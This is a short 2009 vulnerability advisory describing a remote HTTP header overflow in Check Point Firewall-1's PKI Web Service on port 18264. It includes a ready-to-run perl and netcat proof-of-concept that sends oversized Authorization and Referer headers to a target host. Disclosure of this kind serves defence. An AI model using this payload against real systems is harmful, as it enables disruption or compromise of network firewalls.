checkpointfw1-overflow.txt
Posted on 30 March 2009
- Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow - Description The Check Point Firewall-1 PKI Web Service, running by default on TCP port 18264, is vulnerable to a remote overflow in the handling of very long HTTP headers. This was discovered during a pen-test where the client would not allow further analysis and would not provide the full product/version info. Initial testing indicates the 'Authorization' and 'Referer' headers were vulnerable. - Product Check Point, Firewall-1, unknown - PoC perl -e 'print "GET / HTTP/1.0 Authorization: Basic" . "x" x 8192 . " From: bugs@hugs.com If-Modified-Since: Fri, 13 Dec 2006 09:12:58 GMT Referer: http://www.owasp.org/" . "x" x 8192 . " UserAgent: FsckResponsibleDisclosure 1.0 "' | nc suckit.com 18264 - Solution None - Timeline 2006-11-06: Vulnerability Discovered 2009-03-29: Disclosed to Public -- BugsNotHugs Shared Vulnerability Disclosure Account
